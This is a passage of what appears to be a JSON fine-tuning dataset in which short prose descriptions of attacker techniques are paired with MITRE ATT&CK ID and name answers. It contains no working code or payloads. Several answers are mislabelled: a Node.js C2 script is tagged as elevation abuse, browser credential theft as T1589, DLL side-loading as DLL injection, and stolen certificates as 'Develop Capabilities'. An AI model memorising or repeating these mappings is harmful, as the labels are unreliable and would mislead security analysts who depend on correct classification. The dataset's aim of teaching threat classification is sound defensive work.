                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a new service named 'backup.service' that runs a reverse shell at startup using systemctl enable."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the default opening program for .log files to a PowerShell script that downloads additional implants each time a log file is accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ a malicious HTTP POST request to upload a script that establishes persistence on the target host."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor and save WhatsApp group messages containing shared passwords and VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Task Scheduler to monitor file creation events and runs a payload when a new file appears in a target folder, using the trap technique."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Continuous TCP SYN floods are used to overwhelm the OS networking stack, resulting in an OS‑level DoS."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool harvested the private keys stored in the Linux /etc/ssl/private directory and forged client certificates for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs PowerShell to clear Windows Event Logs, covering the tracks of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a batch file that recursively deletes files with names matching 'debug_*' to erase traces."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing SMS claims to be from the company’s mobile device management service, urging users to install a “security update” that actually installs malware."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised build server signed malicious updates with the company's official code signing key, causing users to trust the updates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates system information by sending it in DNS TXT records to a command server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection uses a rootkit to replace legitimate system binaries with malicious versions that report false status information."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a Python interpreter to enumerate running processes and exfiltrate process lists."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage tool enumerates Windows services to locate security tools that could be disabled."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors take control of an online forum’s hosting account and embed phishing links to harvest credentials from users."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script accesses the victim's iCloud Drive API with a valid session token to harvest files."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the threat actor uses the AWS IAM ListGroups API call to discover cloud groups and associated roles."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a rogue SMB server that responds to NetBIOS name queries, allowing it to collect and relay credentials to privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs a custom tool that truncates log files to fit within the organization’s 500 KB transfer threshold."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A coordinated attack dispatches large volumes of TCP RST packets to terminate active connections and degrade service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a Node.js script that performs reconnaissance and contacts C2."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a volume shadow copy and then copies the Active Directory database (NTDS.dit) to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign installs a hidden module that silently records the user's screen whenever a certain application is opened."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending continuous streams of malformed packets to a network service on the host, the adversary depletes CPU cycles and memory, leading to a service exhaustion flood."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a certificate‑based TLS handshake, relying on asymmetric keys for encryption of the channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries tamper with the Linux initramfs image to load malicious code during boot."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows Management Instrumentation to set up an event subscription that runs a VBScript when the system clock changes."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes steganography to hide malicious scripts inside image files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insider threats from employees with authorized access but malicious intent"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a legitimate third‑party vendor’s VPN credentials to gain remote access to the target organization’s internal network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Legitimate but vulnerable third-party libraries or components exploited"
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is inserted into a widely used package manager’s repository, causing all downstream users to download trojanized binaries."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker plants a malicious macro in a .dotx template that is automatically executed when Microsoft Word is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection, the payload sets up an XPC client to communicate with a malicious helper process that performs privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of a remote Windows Management Instrumentation (WMI) service allowed the attacker to run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the TLS configuration to accept only 1024‑bit Diffie‑Hellman parameters."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through compromised credentials, the attacker accessed the \\ADMIN$ share on a domain controller using SMB to install a credential dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a credential‑dumping tool to retrieve stored credentials and personal data from browsers and password managers on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a public web API to send encrypted command and control traffic over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence was achieved by creating a shortcut that points to a PowerShell script and dropping it in the All Users Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Outlook credential store to extract email account passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant resolves the command-and-control server’s domain name via DNS queries to compute the IP address at runtime."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scrambles data by applying a simple Base64 encoding before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors use steganography to hide a compiled payload inside a benign MP3 audio file, which is later extracted and executed on the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerated all files on the victim's system by running \"dir /s\" on Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a rootkit to manipulate system logs, erasing evidence of compromise."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows management instrumentation (WMI) over DCOM to enumerate system information on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit chain includes launching mshta with a PowerShell command embedded in an HTA file to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queried Confluence's label endpoint to collect all pages tagged with 'confidential'."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .lnk shortcut is dropped in the All Users Startup folder to run code at system start."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing WHOIS lookups on newly observed malicious domains, the adversary collects information about the domain registrar and creation date."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a voice phishing (vishing) call pretending to be from technical support, asking the employee to read out their system admin password for a supposed security check."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary targets developers by infecting their development environments with malware designed to inject backdoors into software, facilitating future privilege escalation attacks when the software is deployed."
            },
            {
                "role": "assistant",
                "content": "T1587 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a Load Command (LC_LOAD_DYLIB) to a Mach-O file to force loading of a compromised library during execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor implants a compromised system image into the victim's firmware to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the intruder triggers a snapshot of a VMware vSphere VM via the vCenter API."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages PATH hijacking by inserting their malicious path at the beginning of the user's environment, causing benign commands to be redirected to attacker‑controlled code."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a tool to edit the credentials stored in memory of a password manager while it is running."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the \"RunAs\" service to persist a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious PE file into memory and uses WriteProcessMemory followed by CreateRemoteThread to execute it inside a trusted Windows process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves setting up an unauthorized DC that issues bogus authentication tokens to gain lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion disables the Security log by setting ‘Start’ to 4 in the Windows Event Log service configuration."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders used PowerShell to remove user objects from the Azure AD tenant, wiping out their access."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised code-signing certificate to sign a kernel-mode driver used in an intrusion."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a symmetric‑key encrypted tunnel for data exfiltration, preventing network detection."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Application Compatibility layer to inject malicious code by creating a shim that redirects API calls to a rogue DLL."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses DLL side‑loading techniques to replace legitimate modules and gain code execution inside a target process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a signed driver to gain video capture privileges and exfiltrates the recorded streams."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sends malformed requests to the VMware vRealize Automation API to run commands on managed VMs."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches Shodan for exposed services associated with the victim IP address."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a link to a disguised installer that, when launched, displays a User Account Control dialog; the user’s approval grants the attacker admin rights to install a rootkit."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group infiltrated a Windows domain controller and extracted the private key of a domain‑wide authentication certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installed a malicious transport agent within the Exchange server's mail flow component to intercept and forward outbound emails."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software floods a web application's file download endpoint with requests for large files, exhausting bandwidth and server resources."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators delete the network share connection objects to eliminate traces of lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
